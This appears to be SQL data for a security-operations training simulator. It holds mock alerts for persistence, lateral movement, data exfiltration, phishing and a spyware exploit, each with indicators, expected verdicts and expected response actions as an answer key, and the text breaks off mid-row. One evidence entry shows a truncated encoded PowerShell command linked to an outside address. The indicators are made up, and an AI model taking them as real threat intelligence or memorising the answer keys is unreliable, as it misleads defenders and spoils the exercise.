(1514, 'Establishing Persistent Access', 'high', 'System Logs', 'The attacker has successfully established persistence on the compromised system by installing a backdoor and creating a scheduled task. This allows them to maintain access despite security controls.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:47Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.25\",\"destination_ip\":\"10.0.0.45\",\"username\":\"admin_user\",\"process_name\":\"backdoor.exe\",\"process_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"scheduled_task\":\"persistent_task\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"event_description\":\"Scheduled Task Created for Persistence\"}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal company IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"malicious\",\"details\":\"Filename used by malware to maintain persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Privileged account used to schedule the task.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1515, 'Lateral Movement Across Networks', 'high', 'Internal Network Monitoring', 'Using established persistence, the attacker moves laterally through the network, accessing sensitive data and systems within the Hacking Team infrastructure.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"LM-20231012-003\",\"source_ip\":\"10.1.2.15\",\"destination_ip\":\"10.1.3.45\",\"malicious_ip\":\"185.143.223.45\",\"username\":\"j.doe\",\"file_hash\":\"d9f8eea7be5c3c1d4f1057a3b8cabf3c\",\"filename\":\"malicious_payload.exe\",\"action\":\"File Transfer\",\"protocol\":\"SMB\",\"network_context\":{\"internal_network\":\"Hacking Team\",\"external_network\":\"Internet\"}}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.3.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target host.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"185.143.223.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT group.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d9f8eea7be5c3c1d4f1057a3b8cabf3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash of known malicious payload used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Executable used for lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal HR records\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1516, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) System', 'The final stage of the attack involves exfiltrating critical data, including zero-day vulnerabilities and customer lists, posing a significant risk to the surveillance industry.', 'Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:58Z\",\"alert_id\":\"DL-2023-EXFIL-0005\",\"detected_action\":\"Data Exfiltration\",\"source_ip\":\"192.168.45.12\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filehash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"customer_list_secret.xlsx\",\"protocol\":\"HTTPS\",\"exfiltration_size\":\"2.5GB\",\"malware_associated\":false,\"internal_network\":true}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP has been associated with multiple exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.45.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of suspected compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with frequent DLP alerts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR Records\",\"verdict\":\"clean\",\"details\":\"Active employee, but credentials may be compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"customer_list_secret.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP Logs\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file flagged for unusual access and transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:57:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:56:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:55:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:54:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1517, 'Suspicious Email Attachment Detected', 'medium', 'Email gateway logs', 'A phishing email containing a seemingly harmless attachment was detected. This is the initial access point for the Predator spyware deployment.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:45:00Z\",\"email_id\":\"5f8e2b7d-4c7a-4b29-b2e1-1fb0a5b4c3d5\",\"sender\":\"attacker@example.com\",\"recipient\":\"victim@company.com\",\"subject\":\"Urgent: Invoice Attached\",\"attachment\":\"invoice123.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"file_analysis\":{\"detected\":true,\"malware_family\":\"Predator\",\"file_behavior\":\"drops malicious payload\"}}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Email address associated with known phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"invoice123.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File used in phishing email\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Predator malware\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP address involved in previous phishing attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Attachment Detected\",\"date\":\"2026-03-15T20:58:15.332Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1518, 'Zero-click Exploit Triggered', 'critical', 'Endpoint detection and response (EDR) tool', 'A sophisticated zero-click exploit is triggered, allowing the Predator spyware to execute on the target\'s device without any user interaction.', 'Remote Code Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:05Z\",\"event_type\":\"exploit_attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"destination_port\":445,\"malware_name\":\"Predator\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"predator_exploit_payload.dll\",\"username\":\"jdoe\",\"device_id\":\"EDR-001234\",\"signature_id\":\"EXP-2023-0001\",\"exploit_method\":\"zero-click\"}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with zero-click exploit attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Predator spyware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"predator_exploit_payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis System\",\"verdict\":\"malicious\",\"details\":\"Filename used in multiple exploit campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1519, 'Spyware Establishes Persistence', 'high', 'System registry analysis', 'Once executed, the Predator spyware establishes persistence on the device, ensuring it remains active even after reboots. The registry key modification is a common persistence mechanism.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:32:45Z\",\"event_type\":\"registry_modification\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\predator\",\"registry_value\":\"C:\\\\Program Files\\\\Predator\\\\predator.exe\",\"user\":\"admin_user\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"host_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"predator.exe\"}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"IP belongs to the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Predator spyware activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Predator spyware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"predator.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_file_list\",\"verdict\":\"malicious\",\"details\":\"Filename associated with Predator spyware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.334Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\predator\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Program 